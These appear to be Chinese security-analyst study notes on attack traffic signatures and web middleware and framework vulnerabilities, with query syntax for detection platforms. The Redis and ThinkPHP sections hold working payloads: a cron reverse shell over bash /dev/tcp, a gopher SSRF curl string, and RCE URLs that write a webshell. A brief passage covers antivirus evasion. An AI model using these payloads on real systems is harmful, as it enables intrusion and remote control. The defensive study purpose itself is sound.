- 整个响应包的结构体征为:md5 前十六位 +base64+md5 后十六位。
- 会响应三次
- 第 1 个请求会发送大量数据,该请求不含有任何 Cookie 信息,服务器响应报文不含任何数据,但是响应会设置 PHPSESSID,后续请求都会自动带上该相应所创建的 Cookie。
- 第 2 个请求中自动带上了第 1 个请求中服务器响应返回的 Cookie 值,且第 2 个请求中只有少量的数据。
- 第 3 个请求与第 2 个请求完全一致。
响应包解密处理:首先去悼响应包数据的前 16 位以及后 16 位,然后对剩下的数据进行 base64 解码 +aes 解密,之后 gzip 解压缩即可。
AWVS 扫描器
主要是看请求包中是否含有 acunetix wvs 字段
Nessus 扫描器
nessus 字段
frp 代理工具流量层面有那些特征
- hostname,os,arch,user,privilege key,runid,metas 等 frp 信息
- 服务端 -> 客户端认证信息包含 version,run id,server udp port 等 frp 信息
- 可以看到攻击者 vos-ip、出口 ip、和被用作穿透的内网机器计算机名 ”
中间件漏洞
tomca
tomcat 中间件中,可执行后缀有:jsp jspx
任意文件上传漏洞:
- 7.0 版本,利用 Windows 的解析漏洞上传 1.jsp%20、1.jsp::$DATA。
- 若是 LInux+tomcat5.0~9.0,可以用 1.jsp/ 绕过。
另外还有文件包含和未授权访问漏洞
apache
未知扩展名解析漏洞(任意文件上传):
- apache 默认一个文件可以有多个以点分割的后缀,比如 test.php.xxx,当最右边的后缀(xxx)无法识别(不在 mime.types 文件内),则继续向左识别,知道识别到合法后缀才能进行解析
目录遍历漏洞:
- 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件。没有充分过滤用户输入的../ 之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
- 如果路径中存在 %2e./ 形式,就会检测到,但是出现.%2e/ 这种形式时,就不会检测到,原因是在遍历到第一个. 字符时,此时检测到后面的两个字符是 %2 而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/ 或者 %2e%2e 绕过对路径穿越符的检测。
iis6.0
任意文件上传:
文件夹形式:url/test.asp/shell.jpg,则 shell.jpg 会被当作 asp 脚本运行。
文件形式:url/test.asp;shell.jpg,则 shell.jpg 会被当作 asp 脚本运行。
如将上传的图片 1.jpg 命名为 x.asp;.1.jpg
IIS6.0 默认的可执行文件除了.asp,还包含这三种:.asa .cdx .cer
Nginx 解析漏洞
利用条件:以 FastCGl 运行;cgi.fix_pathinfo=1(全版本 PHP 默认为开启)
如果满足上述条件,当访问 url/shell.jpg/shell.php 时,shell.jpg 会被当作 php 去执行。
Nginx 文件名逻辑漏洞(CVE-2013-4547):
影响版本:Nginx 0.8.41 ~ 1.4.3/1.5.0 ~ 1.5.7
利用过程: 上传一个 shell.jpg(空格)文件,注意最后为空格
访问 url/shell.jpg[Ox20][Ox00].php
(两个中括号中的数字是用 Burp 在 Hex 界面中更改)
java 反序列化
Java 中的 ObjectOutputStream 类的 writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而 ObjectInputStream 类的 readObject()方法用于反序列化,作用就是把字节流还原成对象。
shiro
什么是 shiro
Apache Shiro 是 Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在 JavaSE 环境,也可以用在 JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与 Web 集成、缓存等。
shiro 指纹信息
请求包中,在 Cookie 信息中给 rememberMe 变量赋任意值,收到返回包的 Set-Cookie 值存在 rememberMe=deleteMe 字段,说明目标使用了 Shiro 框架。
流量包中有独立的“$$”字符。
流量层面分析 shiro 反序列化漏洞是否攻击成功
在 HTTP 请求头 Cookie 里出现 rememberMe 字段以及可能出现自定义类型,例如 c:aWQ=,响应体中出现大量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断。
shiro550 漏洞原理
在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段加密的 RememberMe 数据。加密的过程是:用户信息 => 序列化 =>AES 加密(这一步需要用密钥 key)=>base64 编码 => 添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的 cookie 值 => Base64 解码 =>AES 解密(用到密钥 key)=> 反序列化。在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。
shiro721 漏洞原理
在用户进行登录的时候,Apache Shiro 提供 RemenberMe 功能,可以存储 cookie,期间使用的是 AES-128-CBC 进行加密,可以通过 Padding Oracle 加密生成的攻击代码来重新构造一个恶意的 rememberMe 字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行。
利用有效的 RememberMe Cookie 作为 Padding Oracle Attack 的前缀,再去构造反序列化攻击。
shiro550 和 721 的主要区别
shiro550 是 aes 编码,有固定密码本,721 是通过 Padding Oracle 随机生成的加密
shiro 不出网怎么利用
shiro 不出网导致的情况:目标系统存在 shiro 漏洞也可以进行远程命令执行,但是反弹不了 shell.
解决方法:利用 shiro550/721 检测工具的最后一个检测方法:回显漏洞检测,先随便找一个 css 等静态资源进行检测。然后可以进一步利用工具写 webshell,进行连接,获取 shell。
fastjson
概念
是阿里巴巴的开源 JSON 解析库,用于对 JSON 格式的数据进行解析和打包。Fastjson 可以将 java 对象转为 JSON 格式,也可将 JSON 字符串转换为 Java 对象实现反序列化远程代码执行
指纹信息,流量特征
最主要漏洞流量特征:含有 @type
1、抓包,看请求包中传入的参数值是否形如 json 格式,如{“ 张三 ”:100,” 李四 ”:200}。随后将 json 数据随意修改,看响应包中是否出现 fastjson.JSONException 字样。
2、正常请求是 get 请求没有请求体。可以通过构造错误的 POST 请求,看返回包中是否有 fastjson 这个字符串。
漏洞原理
目标网站在解析@type 里面的 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行。当@type 里面为远程恶意类,就可以达到代码执行,甚至命令执行的目的。
使用 @type 的 value 字段执行反序列化的类,例如 JdbcRowSetlmpli 这个类,接着将这个类中的成员变量 datasourcenamel 的 value 值设为 rmi 远程加载类,这样 fastjson 在将传入的类反序列化、实例对象后,会通过成员变量传入的 value 值,请求 rmi 服务器,最后 rmi 返回远程类,fastjson 执行这个远程恶意类。导致 rce 漏洞。
fastjson<=1.2.80,该版本存在反序列化任意代码执行漏洞。
fastjson 不出网打法
dbcp+tomcat 回显(BCEL 字节码利用):DBCP 是 Tomcat 应用服务器中用于管理数据库连接的组件。在某些版本的 Tomcat 中,tomcat-dbcp.jar 可能已经包含在内。这个库提供了连接池的功能,可以提高数据库操作的效率。在不出网的环境中,攻击者可能会尝试通过操纵数据库连接池的行为来实现攻击。BCEL 字节码利用:BCEL 是一个开源的 Java 字节码操作库,它可以用来分析、创建和修改 Java 字节码。攻击者可以利用 BCEL 来修改 fastjson 处理 JSON 数据的方式,从而触发漏洞。例如,攻击者可能会修改 fastjson 的某些关键类,使其在处理特定的 JSON 输入时执行攻击者注入的代码。
如何研判 Fastison 反序列化漏洞攻击成功
- 请求头: method: POST content type: application/ison
- 请求体: data:com.sun.rowsetJdbcRowSetlmpl,dataSourceName,@type
- 请求体: 包含攻击者 C2 服务器地址
- 状态码为: 400 也可能是 500
- 通过天眼分析平台进行回溯分析,在分析中心输入语法: (sip:(失陷服务器 IP)ORsip:(攻击者 C2IP)) AND (dip:(失陷服务器 IP) OR dip:(击者 C2IP))
利用方法
1、新建一个 java 文件,写入恶意代码。然后编译成 class 文件。
2、然后将 class 文件内容进行 base64 之后赋值给_bytecodes[]。
3、fastjson 一旦收到这个 json 对象,恶意代码将被执行。
log4j
log4j 是 java 的日志框架,用来帮助开发人员记录日志信息。
log4j2.x 被发现存在一个严重的漏洞,该漏洞允许攻击者通过构造恶意的日志消息来远程执行任意代码。
流量特征
流量特点就是数据包里面有 ”${}” 字段。
没有状态码 200 判断是否攻击成功
分析被攻击服务器与攻击者之间流量交互,从流量层面分析执行了操作,系统历史命令,有没有去访问流量中远程加载 class 类的 ip。
漏洞原理
原理分三个模块:${…}表达式、log4j 的递归解析机制、Jndi 注入
原理一、MessagePatternConverter 类的 format()方法一旦遇见日志中包含 ”{“,就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。那么,攻击者只需构造形如 ”{…}” 的表达式,只要表达式符合要求,系统就会执行。
原理二、StrSubstitutor 类中提取参数并通过 lookup 对象进行内容替换,当日志遇到 ”${“ 时,Interpolator 类以 ”:” 号作为分割,将表达式内容分割成两部分。前部分作为 prefix(前缀),后部分作为 key(要执行的语句)。然后通过 prefix 去找对应的 lookup 对象,通过对应的 lookup 实例调用其自身的方法,最后将 key 作为参数带入执行。
原理三、Jndi 注入原理就是 poc(写好的代码)中 {jndi:ldap://…}中。接着程序通过 ldap 协议访问 192.168.xx.xx 这个地址中包含 java 代码的 class 文件,从而达成漏洞利用目的。
Log4j2 漏洞利用无回显
无非两种可能性:1、调用的 ldap 和 rmi 协议下发恶意的类,所执行的内容无回显,这时候需要排查对应机器是否有异常行为、流量和进程,是否有新增用户 2、调用了 Poc,将回显信息从 DnsLog 等或者 HTTPlog 平台进行外带,查看对应机器的后续外连数据包是否有相应的记录。
struts2 漏洞
指纹信息(判断框架)
1、一般 st2 框架开发的网站,url 上会有.action 或.do 后缀的文件名,比如:192.168.xx.xx/integration…
方法 1 可能不准确,因为 spring 框架或 jboss 系统有时候也存在.do 结尾的文件名。
2、在相关接口追加 actionErrors 参数,通过网站页面的回显错误消息来判断。
3、默认情况下,st2 框架中存在 192.168.xx.xx/struts/webc… 这个默认文件。
4、抓包,看包中 Content-Type 字段的开头是否形如 %{#x=[‘xxx’]
struts2 漏洞执行流量特征(重要)
一般在 url 中会出现的攻击特征主要是.action?method?redirect:$。
请求参数中含有不合法的方法调用,如 action::(),method::()等。
请求中有不合法的 Content-Type,如 application/x-www-form-urlencoded。
漏洞原理
开发人员使用语法 %{}定义属性的值,以使该页面动态并引入 url 参数。例如,如果将 url 参数 skillName 传递给页面,通常访问 https:///?skillName=abctest, 后端代码执行单次 OGNL 解析,以检索 GET 参数传入的数据。但当用户传入的数据执行两次 OGNL 解析时,就会存在漏洞。当访问 https:///?skillName=%{3*3}时,后端将执行两次 OGNL 解析,从而导致 id=9。
如何在流量层面分析 struts2 命令执行是否成功?
- 查看请求头或请求体中是否含有 OGNL 表达式,struts2 命令执行的原理是通过 ognl 表达式执行 ava 代码
- 查看请求头或请求体中是否存在命令执行类代码
- 查看响应体是否返回上述命令执行的结果
JBOSS
如何研判 JBOSS 反序列化漏洞攻击成功
- 在访问 JBOSS 漏洞页面 /invoker/readonl 后,返回值为 500.
- 请求体有 llections.map.LazyMap、keyvalue.TiedMapEntry 攻击链特征并且有明显的命令执行行为,比如 whoami。
- 在返回 500 堆栈报错页面内容中包含了系统返回内容 比如系统用户: root
springboot 框架漏洞
springboot 是一个基于 spring 框架的开源 java web 框架,它开源帮助开发人员快速构建 web 应用程序。
以SpringBoot SpEL 表达式注入漏洞为例
漏洞条件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
漏洞原理:
- spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
- 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
- 其中 ${}包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
流量特征:参数中含有 ”{}包围的内容都会被当作 SpEL 表达式被解析执行,造成 RCE 漏洞
ThinkPHP
指纹信息
- url 上输入 192.168.xx.xx/ThinkPHP/lo… logo。
- 除此之外,“十年磨一剑”也是 Thinkphp 的重要特征。
漏洞原理
- 程序未对控制器进行过滤,导致攻击者可以通过引入 \ 符号来调用任意类方法。从而使框架存在代码执行漏洞,攻击者可以利用构造的恶意 URL 执行任意代码。
- 比如 index.php?s=index/\namespace\class/method,在解析 url 时,会实例化 \namespace\class 类并执行任意 method 方法
举个例子:
http://192.168.xx.xx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,其中 \think\app 是类名,后面是恶意方法。
实践与利用
1、植入一句话木马(写在 url 中)
http://192.168.xx.xx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>shell.php
2、显示 phpinfo 信息(写在 url 中)
http://192.168.xx.xx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&varv[0]=100
3、POST 利用方法一(写在请求正文中)
_method=_construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
4、POST 利用方法二(写在请求正文中)
a=system&b=whoami&_method=filter
Spring Framework
影响范围
1、JDK >= 9 且 5.3.X < Spring Framework < 5.3.18 或 5.2.X < Spring Framework < 5.2.20
2、使用受影响的 Spring 框架或衍生框架。
3、Spring-webmvc 或 Spring-webflux 依赖项。
漏洞的简单描述
Spring 框架存在处理流程缺陷,攻击者可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限
修复建议
1、WAF 防护
2、代码中搜索 @InitBinder 注解,看方法体内是否调用 dataBinder.setDisallowedFields 方法。如果有,则在原来的黑名单中添加{” class.module.*”}。
3、及时更新至最新版本。
weblogic
7001 端口
漏洞简要概括
指纹特征
判断一个网站应用是否使用了 Weblogic 中间件,可以通过查找指纹特征的方法去判断。输入一个不存在的 URL 路径,看 Web 服务是否返回如下“From RFC 2068Hypertext Transfer Protocol”关键字,即可判断出是否使用 Weblogic 中间件来。
T3 反序列化漏洞原理
开放 Weblogic 控制台的 7001 端口,默认会开启 T3 协议服务,T3 协议触发的 Weblogic Server WLS Core Components 中存在反序列化漏洞,攻击者可以发送构造的恶意 T3 协议数据,获取目标服务器权限。
XMLDecoder 反序列化漏洞原理
Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML(SOAP 协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是 wls-wsat、_async。
权限绕过原理
攻击者可以构造特殊请求的 URL,即可未授权访问到管理后台页面
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
weblogic 反序列化有两种,分别是:基于 T3 协议的反序列化漏洞, 基于 XML 的反序列化漏洞
redis
Redis 是一套开源的使用 ANSI C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的 API。
默认端口:6379 sentinel.conf 配置器端口为:26379
(1)未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的 IP 访问,就会将 Redis 服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问 Redis 以及读取 Redis 数据。
攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以直接登录目标服务器。
(2)利用计划任务执行命令反弹 shell
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
(3)远程命令执行漏洞
由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
漏洞修复:
1、禁止外部访问 Redis 服务端口;
2、禁止使用 root 权限启动 Redis 服务;
3、配置安全组,限制可连接 Redis 服务器的 IP。
ssrf 利用 ridis 打内网
通过【curl 命令】和【gopher 协议】远程攻击内网 redis。
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样就可以解决漏洞点不在 GET 参数的问题了。
gopher 协议可配合 linux 下的 curl 命令伪造 POST 请求包发给内网主机。
此种方法能攻击成功的前提条件是:redis 是以 root 权限运行的。
payload 如下:
curl -v ‘xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’
redis 命令进行了两次 url 编码,这里是通过 gopher 协议伪造的请求包用 curl 命令来发送;
payload 采用的是 bash 反弹,定时程序路径是 /var/spool/cron/root
发送请求之前在公网机 192.168.220.140 开启 nc 监听端口 2333
nc -lvp 2333(或 nc -l 2333)
dnslog 平台(dns 外带)
- DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。
- 通常用在哪些地方
SQL 盲注
无回显的 XSS
无回显的命令执行
无回显的 SSRF
Blind XXE
命令执行类,比如 shiro 反序列化、log4j2
- 什么告警不能很快分析出来?部分 sql 注入无明显回显,利用 dnslog 执行命令
- 对于 DNSLOG 类告警,如何进行分析研判???
- 通过请求的域名,找到对应的发起请求的网络日志通过 data 字段,查找是否存在 post 包中带有此域名, 若均未发现,查看发起 dnslog 请求时的告警,是否存在反序列化等无法查看的数据包,结合所掌握的漏洞细节进行研判。
免杀
- 免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
- 免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
IDS,IPS,蜜罐,waf,
- IDS 为入侵检测,主要检测系统内部,运行在被控的主机上,对主机的网络行为、系统日志、进程等进行监控。
- IPS 为入侵防御,位于防火墙和网络设备之间,在检测到攻击时,会在遭受攻击前做好预防攻击的发生。IPS 是防火墙的重要补充,如果是防火墙是第一道防线,IPS 就是第二道防线。
- 蜜罐为部署一些作为诱饵的主机,诱使攻击方对蜜罐进行过攻击,对攻击方的攻击行为进行捕捉和分析,了解攻击方使用的工具和方法,从而增强增强真实系统的安全防护能力。
- waf 为 web 应用防火墙,专门针对于 HTTP 和 https 请求,对客户端的请求内容进行检测,确保其合法性和安全性,还会对非法的请求进行及时的阻断。
- waf 与 ips 的主要区别:WAF 是针对于 web 系统的防护,对于 sql xss 文件上传 csrf 的防护更具有针对性,而 IPS 的防护面很广。
- 低交互蜜罐,中交互蜜罐,高交互蜜罐的区别?
1. 低交互蜜罐最大的特点就是模拟,它的服务都是模拟的行为,数据不够真实。
2. 中交互蜜罐是对真正的操作系统的各种行为的模拟,它提供了更多的交互信息,同时也可以从攻击者的行为中获取更多的信息
3. 高交互蜜罐具有一个真实的操作系统,更加仿真。
4. 模拟的场景越来越真实,数据越来越真实。
什么是 dll 注入,什么是 dll 劫持
DLL 注入: 在游戏运行前先加载我们编写的DLL 文件
DLL 劫持注入: 假设游戏运行时需要加载 DLL 文件 (A), 那么我们就劫持 A, 然后把我们编写的 DLL 文件(B) 假扮成 A, 让游戏加载了 B 后, 在加载 A.
正向代理和反向代理
正向代理(不出网):是代理用户客户端,为客户端发送请求,对服务器隐藏自己的真实客户端。反向代理:代理服务器来接收客户端的请求,然后将请求转发给内部网络上的服务器,将从服务器上得到的结果返回给客户端。不同点:正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端.
开源软件中最流行的就是 squid,既可以做正向代理,也有很多人用来做反向代理的前端服务器。
cs(Cobalt Strike)
简介:Cobalt Strike是 一款以 Metasploit 为基础的 GUI 框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell 木马生成等;主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动;适合有确定目标的 apt 攻击,但对那种大范围的“无脑”攻击,例如 ddos,僵尸网络,是不适用的。
如何判断 Cobalt strike 攻击流量
会隔几秒发一个心跳包
http 生成的木马特征
(1)checksum8 算法 - 强特征
x64 生成的木马使用 checksum8 算法得出来的值为 93
x32 生成的木马使用 checksum8 算法得出来的值为 92
(2)UA 头特征 - 弱特征
(3)url 中有 id=xxx 的数值
(4)cs 的执行命令以及心跳包的判定都是存在于 cookie 中,为 base64 编码
https 生成的木马特征
(1)使用命令查看当前 cs 证书:keytool -list -v -keystore cobaltstrike.store -storepass 123456
(2)Client Hello 的 ja3 和 Server Hello 的 ja3s 一般有一个固定的值
会隔几秒发一个心跳包,在数据包的client hello 和 server hello 的中均有 JA3 这个值且固定的,符合 checksum8 算法,还有一串 id=xxx 的数值。(简单说法)
- http-beacon 通信中,默认使用 get 方法向 /dpixel、/ utm.gif、/pixel.gif 等地址发起请求,同时请求头存在 cookie 字段并目值为 base64 编码
- dns-beacon 通信中,默认使用 cdn.、www6.、api.、www.、post. 为开头发起 dns 清求,并目查询结果伴随 0.0.0.0、0.0.0.80、0.0.0.241 等非常规 IP
- 心跳包间隔一定时间,均有通信,且流级上的上下行数据长度固定看数据包的详细信息,看终端或者服务器是否有与矿池交互的信息,判断是否存在登录到矿池 (method””.””login””)、从矿池接收任务 (“”method“.””ob””) 字段,在载荷大容中是否存在 ok、success 等字段 ”
没有 shell 如何连接 cs
- 使用 cs 的 Beacon 模式:Beacon 是一个植入物(implant),它可以与 cs 服务器进行通信。通过在目标系统上执行 Beacon 植入物,可以建立与 cs 服务器之间的通信渠道,并通过该通道执行命令和控制目标系统。
- 利用已存在的恶意软件:如果目标系统已经受到恶意软件的感染,你可以尝试利用该恶意软件的后门或通信功能,与 cs 服务器建立联系。
http 相关
请求方法
get,post,request,put,delete,options,trace,head,connect
GET 请求:从服务器取回数据。只是取回数据,并不会产生其他影响。例如用 GET 请求访问 /employee/101/ 张三,可以取回该员工的详细资料。POST 请求:创建一个实体,也就是一个没有 ID 的资源。一旦这个请求成功执行了,就会在 HTTP 请求的响应中返回这个新创建的实体的 ID。我们通常用 POST 请求来上传文件或者表单。例如用 POST 请求访问 /employee/102/ 李四,将会创建一个 ID 为 102 的新员工。REQUEST : 可以获取以 POST 方法和 GET 方法提交的数据,但是速度比较慢。PUT 请求:用来更新一个已有的实体。通过把已经存在的资源的 ID 和新的实体用 PUT 请求上传到服务器来更新资源。例如用 PUT 请求访问 /employee/101/ 王五,可以更新员工 101 的信息。DELETE 请求:从服务器上删除资源。需要把要删除的资源的 ID 上传给服务器。例如用 DELETE 请求访问 /employee/101/ 王五, 可以删除员工 101 的信息。OPTIONS 请求:OPTIONS 允许客户端请求一个服务所支持的请求方法。它所对应的响应头是 Allow,它非常简洁地列出了支持的方法。下面为服务端成功处理了 OPTIONS 请求后,响应的内容:Allow: HEAD,GET,PUT,DELETE,OPTIONS。TRACE 请求:提供一种方法来测试当一个请求发生的时候,服务器通过网络收到的内容。所以它会返回你发送的内容。HEAD 请求:HEAD 请求和 GET 请求资源类似,但仅仅返回相应的头部,没有具体的响应体。它也不会对服务器造成其他影响。CONNECT 请求:主要用来建立一个对资源的网络连接。一旦建立连接后,会响应一个 200 状态码和一条 "Connectioin Established" 的消息。
post 和 get 的区别
都包含请求头请求行,post 多了请求 body。get 多用来查询,请求参数放在 url 中,不会对服务器上的内容产生作用。post 用来提交,如把账号密码放入 body 中。GET 是直接添加到 URL 后面的,直接就可以在 URL 中看到内容,而 POST 是放在报文内部的,用户无法直接看到。GET 提交的数据长度是有限制的,因为 URL 长度有限制,具体的长度限制视浏览器而定。而 POST 没有。
响应状态码
1XX - 信息型,服务器收到请求,需要请求者继续操作。2XX - 成功型,请求成功收到,理解并处理。3XX - 重定向,需要进一步的操作以完成请求。4XX - 客户端错误,请求包含语法错误或无法完成请求。5XX - 服务器错误,服务器在处理请求的过程中发生了错误。
常见响应状态码
200 OK - 客户端请求成功
300 重定向,转跳
301 永久重定向;资源(网页等)被永久转移到其它 URL
302 临时重定向;临时跳转
400 Bad Request - 客户端请求有语法错误,不能被服务器所理解
401 Unauthorized - 请求未经授权,这个状态代码必须和 WWW-Authenticate 报头域一起使用
403 无权访问
404 请求资源不存在,可能是输入了错误的 URL
500 服务器内部发生了不可预期的错误
503 Server Unavailable - 服务器当前不能处理客户端的请求,一段时间后可能恢复正常。
referer 和 x -forward-for(xff)等请求头
rtferer 是请求的来源
x-forward-for(XFF):下面有详解
Host:指定请求的服务器的域名和端口号
User-Agent:包含用户请求的用户信息。浏览器类型
x-forward-for(xff)详解
- XFF 是指服务器客户端的真实 IP:客户端访问服务器的过程中如果需要经过 HTTP 代理或者负载均衡服务器,用来记录获取最初发起请求的客户端的 IP 地址。
- XFF 不完全可信,存在伪造的可能,如在 BP 抓包的过程中,可以对其进行更改伪造,存在多个 IP 地址的情况,一般最左边为真实的。
- 如果告警里面的 IP 与 xff 的 IP 不同,则真实 IP 以 xff 里面的为准
- XFF 注入:属于 SQL 注入的一种,该注入原理是通过修改 X -Forwarded-for 头对带入系统的 dns 进行 sql 注入,达到欺骗服务器执行恶意的 SQL 命令的效果,从而可以得到网站的数据库内容
常见端口
HTTP (80):用于 Web 服务器上的常规 HTTP 流量。HTTPS (443):用于加密的 Web 服务器上的 HTTPS 流量。FTP (21):用于文件传输协议。SSH (22):用于安全远程 shell 访问。MySQL (3306):用于 MySQL 数据库的连接。redis (6379)
Oracle (1521)
MongoDB (27017)
SQLServer (1433)
memcached (11211)
wireshark 相关
协议过滤:
- 直接输入 TCP,HTTP,ICMP 等
ip 过滤:
- ip.addr=xxx,显示源或目的 IP 为 xxx 的数据流
- ip.src=xxx,源 IP
- ip.dst=xxx,目的 IP
端口过滤:
- tcp.port == 80,只显示 80 端口 TCP 数据流
- udp.prot == 67,只显示 67 端口 UDP 数据流
- tcp.srcport == 80, 只显示源地址的 80 端口数据流
- tcp.dstport == 80,只显示目的地址 80 端口数据流
过滤 HTTP 协议:
- http.request.method==”GET”,显示 get 请求
- http.request.url contains admin,显示 url 中包含 admin 的 请求
- http.request.code==404,显示状态码为 404
连接符:
- and
- or
python 如何进行分段传输
可以使用 http.client 库来实现基于 HTTP 的分段传输。
可以使用 Python 的 socket 库来实现自定义的分段传输。
天眼相关
天眼判断文件上传漏洞是否成功
- 看告警和是否有脚本文件的访问记录
- 看回显是否 200、有文件上传路径,是否有上传文件的访问成功日志
- 观察客户端请求数据: 是否包含 webshell 流量特征
- 观察服务器返回信息: 是否有“上传成功”或“success upload”等信息提示
- 天眼 -> 分析中心 -> 日志检索,检索语法:uri;(webshel 文件名 ’。如果上传脚本文件被重命名,就筛选出攻击 IP 对服务器的 web 协议的访问流量进行分析
- 使用漏洞测试工具: 用工具测试 cms 是否存在已知的文件上传漏洞
天眼运算符
AND(&&)、OR(||)、NOT(必须大写)
天眼分析平台字段含义
- sip 源 IP、sport 源端口、dport 目的端口、dip 目的 IP
- DNS 协议中 dns type 字段表示 DNS 请求类型 0 代表 DNS 请求,1 代表 DNS 响应
- DNS 协议中 addr 字段,即 DNS 的 A 记录,表示该 host 对应的 IP 地址信息,可能有多个记录
- HTTP 协议中 method 表示请求方法,data 表示 POST 请求体
- proto 字段表示协议,邮件应用协议有 ETP POPIMAP
- 威胁告警检索字段中 attack_sip 字段表示的含义攻击者 IP
- SSL 协议字段中表示服务器名字的字段是 server name
- 发件人的字段是:from
- IOC 表示匹配成功的威胁情报
相关检索语句
如何检索恶意域名与受害主机的交互流量:直接:host(恶意域名或 IP)
搜索日志模块里指定的端口:sport==80 OR sport==443
同时想搜索 443 和 8080 含有这两个端口:dport:”443″ OR dport:”8080″
检索 SSH 登陆成功的日志语法:proto: (ssh) AND normal ret: (success)
检索 SSH 登陆失败的日志语法:proto: (ssh) AND normal ret: (failed)
检索 RDP 登陆成功的日志语法:proto: (rdp) AND normal ret: (success)
检索 RDP 登陆失败的日志语法:proto: (rdp) AND normal ret: (failed)
天眼能捕捉到 0day 吗
可以,需要需要通过日志分析,流量分析等方法排查
天眼里的小工具用过吗
用过,可以做一些常见编码的解码等,比如 base64 解码、url 解码等
天眼告警主机外联的排查思路
- 主机外联主要判断主机请求的外网地址是否是恶意,或者是 dnslog 相关平台域名,若地址在威胁情报查询是恶意或请求 dnslog 相关域名次数较多,可判断主机异常。
天眼存在成功利用的告警如何处理
- 根据告警类型,分析回显特征是否利用成功。若数据包无法判断,可以复现漏洞判断。判断告警如果确实利用成功,立刻通报到研判组或客户侧。
天眼杂七麻八
####
天眼里面有很多告警,我想搜索一个含有一些指定的字符的告警 (可能含有尝试写入文件的告警) 也就是模糊搜索,应该怎么写查询语句?
直接在日志检索模块去搜索你要输入的关键字,使用 * 加部分名称进行检索
###
椒图平台相关
椒图中 result 字段表示的含义
表示拦截结果,0 为已拦截,1 为未拦截
椒图中 p 字段是攻击者 Ip 还是受害者 Ip
攻击者 IP
椒图中下发 web 类安全策略需要使用那个功能
通过 安全防护 - 功能设置,前提需要安装对应防护插件
